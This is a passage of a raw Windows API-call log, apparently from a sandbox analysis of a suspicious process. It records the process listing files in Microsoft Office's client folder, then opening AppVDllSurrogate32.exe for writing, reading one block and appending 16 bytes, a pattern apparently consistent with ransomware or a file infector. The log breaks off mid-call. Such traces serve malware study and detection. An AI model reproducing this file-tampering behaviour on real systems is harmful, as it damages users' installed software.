nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="APF10C~1.DLL")) returned 1 [0125.664] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0c4cdf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0c4cdf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0df0820, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="AP7902~1.DLL")) returned 1 [0125.664] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0c26cd1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0c26cd1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0e62fac, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l2-1-0.dll", cAlternateFileName="APA632~1.DLL")) returned 1 [0125.664] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd289cda7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd289cda7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2a1a592, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="AP5C76~1.DLL")) returned 1 [0125.664] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0b8e391, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0b8e391, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0d7e20c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x58c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="APFD9C~1.DLL")) returned 1 [0125.664] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0aa952a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0aa952a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0bda864, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="APC00F~1.DLL")) returned 1 [0125.664] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0aa952a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0aa952a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0c99389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x50c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="API-MS~4.DLL")) returned 1 [0125.665] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0af5a16, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0af5a16, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0c4cdf5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="AP23C9~1.DLL")) returned 1 [0125.665] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1e086ac, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1e086ac, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2365abe, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="APCB40~1.DLL")) returned 1 [0125.665] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1137cdf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1137cdf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1d23858, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="APAE51~1.DLL")) returned 1 [0125.665] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1006983, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1006983, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1242d5d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x68c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="AP972F~1.DLL")) returned 1 [0125.665] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0f9426a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0f9426a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd121c9ea, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x114c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="AP7D9E~1.DLL")) returned 1 [0125.665] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0f9426a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0f9426a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd139a18a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="APFCAD~1.DLL")) returned 1 [0125.666] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0eaf4e3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0eaf4e3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd11d067c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="AP8F34~1.DLL")) returned 1 [0125.666] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0dca676, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0dca676, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1078ffd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="APD1B7~1.DLL")) returned 1 [0125.666] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0eaf4e3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0eaf4e3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd10c55e8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-string-l1-1-0.dll", cAlternateFileName="APBF0F~1.DLL")) returned 1 [0125.666] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0dca676, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0dca676, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0f9426a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-time-l1-1-0.dll", cAlternateFileName="AP5E4C~1.DLL")) returned 1 [0125.666] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1b7fe91, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1b7fe91, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1ec71c8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-utility-l1-1-0.dll", cAlternateFileName="AP80F4~1.DLL")) returned 1 [0125.666] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1b59cda, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1b59cda, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1f1370b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x34ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVDllSurrogate32.exe", cAlternateFileName="APPVDL~2.EXE")) returned 1 [0125.667] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd153dc41, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd153dc41, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1e2e85a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3e4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVDllSurrogate64.exe", cAlternateFileName="APPVDL~1.EXE")) returned 1 [0125.667] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86813dc4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86813dc4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppvIsvStream32.dll", cAlternateFileName="APPVIS~1.DLL")) returned 1 [0125.667] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86813dc4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86813dc4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppvIsvStream64.dll", cAlternateFileName="APPVIS~2.DLL")) returned 1 [0125.667] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86813dc4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86813dc4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppvIsvSubsystems32.dll", cAlternateFileName="APPVIS~3.DLL")) returned 1 [0125.667] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x8683a0f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8683a0f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8683a0f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppvIsvSubsystems64.dll", cAlternateFileName="APPVIS~4.DLL")) returned 1 [0125.667] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd153dc41, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd153dc41, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1e7acf5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x69630, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppVLP.exe", cAlternateFileName="")) returned 1 [0125.668] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x8683a0f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8683a0f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8683a0f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="C2R32.dll", cAlternateFileName="")) returned 1 [0125.668] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x8683a0f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8683a0f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8683a0f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="C2R64.dll", cAlternateFileName="")) returned 1 [0125.668] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd11f68b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd11f68b6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd191da0e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x514a8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="concrt140.dll", cAlternateFileName="CONCRT~1.DLL")) returned 1 [0125.668] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1242d5d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1242d5d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1bcc41c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5644a0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="mfc140u.dll", cAlternateFileName="")) returned 1 [0125.668] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1f5fb21, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1f5fb21, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd244aa14, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa12a8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="msvcp120.dll", cAlternateFileName="")) returned 1 [0125.668] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1ea0ff2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1ea0ff2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd20449b3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9b0a0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="msvcp140.dll", cAlternateFileName="")) returned 1 [0125.668] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1e7acf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1e7acf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1fac086, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeb2a8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="msvcr120.dll", cAlternateFileName="")) returned 1 [0125.669] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1e2e85a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1e2e85a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1f5fb21, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xefec0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ucrtbase.dll", cAlternateFileName="")) returned 1 [0125.669] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2ca2e08, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2ca2e08, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2f0533c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5f4b0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="vccorlib140.dll", cAlternateFileName="VCCORL~1.DLL")) returned 1 [0125.669] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2424784, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2424784, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd26acf16, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15ab0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 1 [0125.669] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2424784, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2424784, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd26acf16, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15ab0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 0 [0125.669] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0125.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed450) returned 1 [0125.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed410) returned 1 [0125.671] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe", nBufferLength=0x105, lpBuffer=0x200ecdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe", lpFilePart=0x0) returned 0x44 [0125.671] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed2c0) returned 1 [0125.671] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate32.exe"), fInfoLevelId=0x0, lpFileInformation=0x363b880 | out: lpFileInformation=0x363b880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1b59cda, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1b59cda, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1f1370b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x34ad8)) returned 1 [0125.672] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed280) returned 1 [0125.672] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe", nBufferLength=0x105, lpBuffer=0x200ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe", lpFilePart=0x0) returned 0x44 [0125.672] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed1c0) returned 1 [0125.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0125.672] GetFileType (hFile=0x6e0) returned 0x1 [0125.672] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed130) returned 1 [0125.672] GetFileType (hFile=0x6e0) returned 0x1 [0125.672] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ed318*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ed318*=0) returned 0x1000 [0125.673] ReadFile (in: hFile=0x6e0, lpBuffer=0x363bcb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ed2e8, lpOverlapped=0x0 | out: lpBuffer=0x363bcb8*, lpNumberOfBytesRead=0x200ed2e8*=0x1000, lpOverlapped=0x0) returned 1 [0125.674] CloseHandle (hObject=0x6e0) returned 1 [0126.227] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe", nBufferLength=0x105, lpBuffer=0x200ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe", lpFilePart=0x0) returned 0x44 [0126.227] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed1c0) returned 1 [0126.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0126.227] GetFileType (hFile=0x6e0) returned 0x1 [0126.227] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed130) returned 1 [0126.227] GetFileType (hFile=0x6e0) returned 0x1 [0126.227] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ed318*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ed318*=0) returned 0x34ad8 [0126.227] WriteFile (in: hFile=0x6e0, lpBuffer=0x39d83a8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ed208, lpOverlapped=0x0 | out: lpBuffer=0x39d83a8*, lpNumberOfBytesWritten=0x200ed208*=0x10, lpOverlapped=0x0) returned 1 [0126.228] CloseHandle (hObject=0x6e0) returned 1 [0126.228] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe", nBufferLength=0x105, lpBuffer=0x200ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe", lpFilePart=0x0) returned 0x44 [0126.228] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed1c0) returned 1 [0126.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0126.228] GetFileType (hFile=0x6e0) returned 0x1 [0126.228] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed130) returned 1 [0126.228] GetFileType (hFile=0x6e0) returned 0x1 [0126.228] ReadFile (in: 